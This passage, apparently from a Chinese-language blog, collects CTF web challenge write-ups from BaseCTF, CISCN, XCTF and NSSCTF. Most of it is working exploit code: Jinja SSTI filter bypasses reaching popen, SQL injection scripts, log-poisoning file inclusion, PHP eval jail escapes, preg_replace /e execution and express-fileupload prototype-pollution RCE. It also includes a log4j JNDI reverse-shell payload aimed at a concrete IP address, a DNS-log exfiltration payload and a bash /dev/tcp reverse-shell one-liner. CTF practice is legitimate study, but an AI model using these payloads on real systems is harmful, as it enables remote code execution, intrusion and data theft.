foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
?>
1
2
?K=DirectoryIterator&W=glob:////secret/f11444g.php
J=SplFileObject&H=/secret/f11444g.php
1
2
?K=DirectoryIterator&W=/secret
J=SplFileObject&H=/secret/f11444g.php

Basectf [Week4] No JWT

获取jwt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

def get_jwt_token(login_url, username, password):
login_data = {
'username': username,
'password': password
}
response = requests.post(login_url, json=login_data)
token = response.json().get('token')
print(f"JWT Token: {token}")


login_url = "http://challenge.basectf.fun:48124/login"
username = "admin"
password = "123"
get_jwt_token(login_url, username, password)

image-20240906141821096

1
2
3
4
5
6
7
8
9
10
11
import requests

fake_token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNTYwNjQ4Nn0.lpy4mkxg3OGUh2lOlMR0syCY3Z7bL5lmV1Uo3Q17K30'

flag_url = 'http://challenge.basectf.fun:48124/flag'
headers = {
'Authorization': f'Bearer {fake_token}'
}

response = requests.get(flag_url, headers=headers)
print(response.json())

浙江省网络安全宣传洲际台州市网络安全宣传周不知道什么sql题

考的变量覆盖和sql注入

源码

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php  
function replace_bad_word($str){
global $limit_words;
foreach ($limit_words as $old => $new) {
strlen($old) > 2 && $str = str_replace($old,trim($new),$str);
}
return $str;
}

function convert($str){
return htmlentities($str);
}

$limit_words = array('造反' => '造**', '法轮功' => '法**');

foreach (array('_GET','_POST') as $method) {
foreach ($$method as $key => $value) {
$$key = $value;
}
}
?>

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
include 'config.php';
include 'function.php';

$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die('连接数据库失败');
}

$sql = "SELECT COUNT(*) FROM users";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
$id = $row['COUNT(*)'] + 1;
} else
die($conn->error);

if (isset($_POST['msg']) && $_POST['msg'] !== '') {
$msg = addslashes($_POST['msg']);
$msg = replace_bad_word(convert($msg));
$sql = "INSERT INTO users VALUES($id,'" . $msg . "')";

$result = $conn->query($sql);
echo $sql;
if ($conn->error)
die($conn->error);
}
echo "<center><h1>Welcome come to SEC message board</center></h1>";
echo <<<EOF
<center>
<form action="index.php" method="post">
<p>Leave a message: <input type="text" name="msg" /><input type="submit" value="Submit" /></p>
</form>
</center>
EOF;
$sql = "SELECT * FROM users";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
echo "<center><table border='1'><tr><th>id</th><th>message</th><tr></center>";
while ($row = $result->fetch_row()) {
echo "<tr><th>$row[0]</th><th>$row[1]</th><tr>";
}
echo "</table></center>";
}
$conn->close();
?>

变量覆盖

1
2
3
4
5
foreach (array('_GET','_POST') as $method) {
foreach ($$method as $key => $value) {
$$key = $value;
}
}

读取传递的参数赋值给key,当$key为sql的时候,就相当于$sql=xxxx,那么就可以将需要的sql语句拼接

然后看sql语句,由于$sql = "SELECT * FROM users";感觉应该不是二次注入

insert注入不支持and where等,也不考虑堆叠等,没有原题,本地环境设置两列,那么第二列使用or拼接

最终payload

1
2
limit_words[sql]=11' or updatexml(1,concat(0x7e,(version())),0) or '');#
&msg=sql

image-20240912164355753

BaseCTF 复读机

fuzz

1
+ - * / . {{ }} __ : " \

过滤了 . ,可以用中括号绕,过滤了关键字,可以在关键字中间插入一对单引号 ''

1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_'])%}

得到

1
BaseCTF<class 'object'>
1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137])%}

得到

1
BaseCTF<class 'os._wrap_close'>

使用这个类里的 popen 函数来 RCE

1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('pwd')['rea''d']())%}

因为过滤了斜杠和反斜杠,无法直接跳到根目录,这里提供三个方法来获取斜杠来跳到根目录

法一:利用 chr 函数来构造出一个命令

先找到 chr

1
2
BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% print(chr) %}

接着用 chr 搭配上数字构造出想要执行的命令

1
2
3
BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% set cmd='cat '~chr(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}

最后把 cmd 作为 popen 的参数传递进去,即可得到 flag

同理,利用 format 来得到 / 也是可以的

1
2
BaseCTF{% set cmd='cat '~'%c'%(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}

法二:利用环境变量的值

查看环境变量,可以看到 OLDPWD=/

1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('env')['rea''d']())%}

此时可以直接利用它来切换到根目录,然后再读flag

1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('cd $OLDPWD;cat flag')['rea''d']())%}

法三:利用 expr substr 切割出一个 /

比如 pwd 中的第一个字符就是 / ,那用 expr substr 切割出来后,之后就可以像法二那样切换到根目录然后读 flag 了

1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('a=`pwd`;a=`substr $a 1 1`;cd $a;cat flag')['rea''d']())%}

BaseCTF 滤个不停

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
highlight_file(__FILE__);
error_reporting(0);

$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];

if ($incompetent !== 'HelloWorld') {
die('写出程序员的第一行问候吧!');
}

//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;

foreach ($required_chars as $char) {
if (strpos($Datch, $char) === false) {
$is_valid = false;
break;
}
}

if ($is_valid) {

$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];

foreach ($invalid_patterns as $pattern) {
if (stripos($Datch, $pattern) !== false) {
die('此路不通换条路试试?');
}
}


include($Datch);
} else {
die('文件名不合规 请重试');
}
?>

日志注入

1
incompetent=HelloWorld&Datch=/var/log/nginx/access.log&1=system('nl /flag');

image-20240915144422260

BaseCTF EZ_PHP_Jail

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];

if($Jail == null) die("Do You Like My Jail?");

function Like_Jail($var) {
if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
return false;
}
return true;
}

if (Like_Jail($Jail)) {
eval($Jail);
echo "Yes! you escaped from the jail! LOL!";
} else {
echo "You will Jail in your life!";
}
echo "\n";

// 在HTML解析后再输出PHP源代码

?>


Welcome to My Jail
BaseCTF{c110bf77-67cc-4fb3-965c-30946ac4fb0d}
Yes! you escaped from the jail! LOL!

当 php 版本⼩于 8 时,GET 请求的参数名含有 . ,会被转为 _ ,但是如果参数名中有 [ ,这

个 [ 会被直接转为 _ ,但是后⾯如果有 . ,这个 . 就不会被转为 _ 。

1
http://challenge.basectf.fun:34054?Jail[by.Happy=highlight_file(glob("/f*")[0]);

image-20240915151656980

[CISCN2019 华北赛区 Day2 Web1]Hack World

二分法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = "http://bcd848ad-3ba8-4d83-87e2-c22cce3bafa5.node5.buuoj.cn:81/index.php"
flag = ""
i = 0

while True:
i = i + 1
letf = 32
right = 127
while letf < right:
mid = (letf + right) // 2
payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
data = {"id": payload}
res = requests.post(url=url, data=data).text
if "Hello" in res:
letf = mid + 1
else:
right = mid
if letf != 32:
flag += chr(letf)
print(flag)
else:
break

异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from turtle import right
import requests

url = "http://bcd848ad-3ba8-4d83-87e2-c22cce3bafa5.node5.buuoj.cn:81/index.php"
flag = ""
i = 0

while True:
i = i + 1
letf = 32
right = 127
while letf < right:
mid = (letf + right) // 2
payload = f"0^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})"
data = {"id": payload}
res = requests.post(url=url, data=data).text
if "Hello" in res:
letf = mid + 1
else:
right = mid
if letf != 32:
flag += chr(letf)
print(flag)
else:
break

NSSCTF Apache log4j漏洞靶机

og4j提供了${}解析功能,当遇到${}时,会通过JNDI的lookup()解析其中的内容。

如${jndi:dns://${sys:java.version}.example.com}

会通过jndi的lookup()解析dns://${sys:java.version}.example.com,解析到dns协议,会去访问

${sys:java.version}.example.com,而又会解析到sys协议,获取到java.version参数,然后将这个参数值作为子域名的一部分去访问子域名。我们在dns log网站即可看到对应内容。

payload

1
c=${jndi:dns://${sys:java.version}.fpx45s.dnslog.cn}

image-20240916210411270

然后就可以反弹shell

1
c=${jndi:ldap://43.129.200.87:1389/Basic/ReverseShell/43.129.200.87/12345}

BadProgrammer

js原型链污染

dirsearch扫出目录

image-20240920142342242

image-20240920142442859

“express-fileupload”: “1.1.7-alpha.4”

CVE-2020-7699漏洞分析

该漏洞完全是由于Nodejs的express-fileupload模块引起,该模块的1.1.8之前的版本存在原型链污染(Prototype Pollution)漏洞,当然,引发该漏洞,需要一定的配置:parseNested选项设置为true

CVE-2020-7699漏洞分析_express-fileupload”: “1.1.7-alpha.4-CSDN博客

核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
busboy.on('finish', () => {
debugLog(options, `Busboy finished parsing request.`);
if (options.parseNested) {
req.body = processNested(req.body);
req.files = processNested(req.files);
}

if (!req[waitFlushProperty]) return next();
Promise.all(req[waitFlushProperty])
.then(() => {
delete req[waitFlushProperty];
next();
}).catch(err => {
delete req[waitFlushProperty];
debugLog(options, `Error while waiting files flush: ${err}`);
next(err);
});
});

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function processNested(data){
if (!data || data.length < 1) return {};

let d = {},
keys = Object.keys(data); //获取键名,列表

for (let i = 0; i < keys.length; i++) {
let key = keys[i],
value = data[key],
current = d,
keyParts = key
.replace(new RegExp(/\[/g), '.')
.replace(new RegExp(/\]/g), '')
.split('.');

for (let index = 0; index < keyParts.length; index++){
let k = keyParts[index];
if (index >= keyParts.length - 1){
current[k] = value;
} else {
if (!current[k])
current[k] = !isNaN(keyParts[index + 1]) ? [] : {};
current = current[k];
}
}
}

return d;
};

porcessNested方法

1
2
3
4
5
6
7
传入的参数是:{"a.b.c":"m1sn0w"}
通过这个函数后,返回的是"{ a: { b: { c: 'm1sn0w' } } }

其实他跟那个merge函数比较类似,都是循环调用,因此存在原型链污染
传入参数:{"__proto__.m1sn0w":"m1sn0w"}
然后我们调用console.log(Object.__proto__.m1sn0w)
返回的值为m1sn0w

已有poc

1
x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/prot 0>&1"');x

改成

1
x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x

image-20240920143415320

发包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1
Host: 61.147.171.105:53665
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=g7o49fe11l2q7bo3536cbjt2f0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 163

Content-Disposition: form-data; name="__proto__.outputFunctionName"

x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x

脚本

1
2
3
4
5
6
7
8
9
import requests

resp1 = requests.post("http://{}:{}/{}".format('61.147.171.105', '52139', '4_pATh_y0u_CaNN07_Gu3ss'),
files={'__proto__.outputFunctionName':
(
None, "x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x".format(cmd='cp /flag.txt /app/static/js/flag.txt')
)})

print(resp1)

image-20240920143438224

image-20240920143535006

[CISCN 2019 初赛]Love Math

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

法一

php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数比如下面的代码会执行 system(‘cat/flag’);

1
2
$a='system';
$a('cat/flag');
1
c=($_GET[a])($_GET[b])&a=system&b=cat /flag

然后就是想办法绕过黑名单

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。、

base_convert() 函数在任意进制之间转换数字。

hex2bin()函数可以通过base_convert()函数来进行转换

image-20240920144533963

那么就可以把字符转化为数字

hex2bin=base_convert(37907361743,10,36)

image-20240920144955368

dechex() 函数把十进制数转换为十六进制数。

就将get构造完毕了

image-20240920145308936

1
2
3
<?php
echo base_convert(37907361743,10,36)(dechex(1598506324));
?>

image-20240920150729700

image-20240920150601385

image-20240920150625880

1
http://61.147.171.105:55626/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){min})&pi=system&min=nl flag.php

法二

1
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

header传参

法三

1
2
3
4
5
6
7
8
9
10
11
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}

XCTF ics-05

前面文件读取不说了 得到源码后x-forwarded-for admin登录

image-20240920161747050

preg_replace函数/e漏洞

1
2
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。
提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

payload

1
/index.php?pat=/abc/e&rep=system("ls")&sub=abc
1
http://61.147.171.105:52555/index.php?pat=/abc/e&rep=system("cat s3chahahaDir/flag/flag.php")&sub=abc

XCTF Cat

不是传统的命令执行

image-20240920181926566

  • php cURL CURLOPT_SAFE_UPLOAD
  • django DEBUG mode
  • Django使用的是gbk编码,超过%F7的编码不在gbk中有意义
  • CURLOPT_SAFE_UPLOAD 为 true 时,如果在请求前面加上@的话phpcurl组件是会把后面的当作绝对路径请求,来读取文件。当且仅当文件中存在中文字符的时候,Django 才会报错导致获取文件内容。

0x7F的ASCII都会引发Django的报错。在url中输入?url=%88,可以得到报错页面

image-20240920182012285

image-20240920182311710

1
?url=@/opt/api/database.sqlite3

image-20240920182417736

image-20240920182453611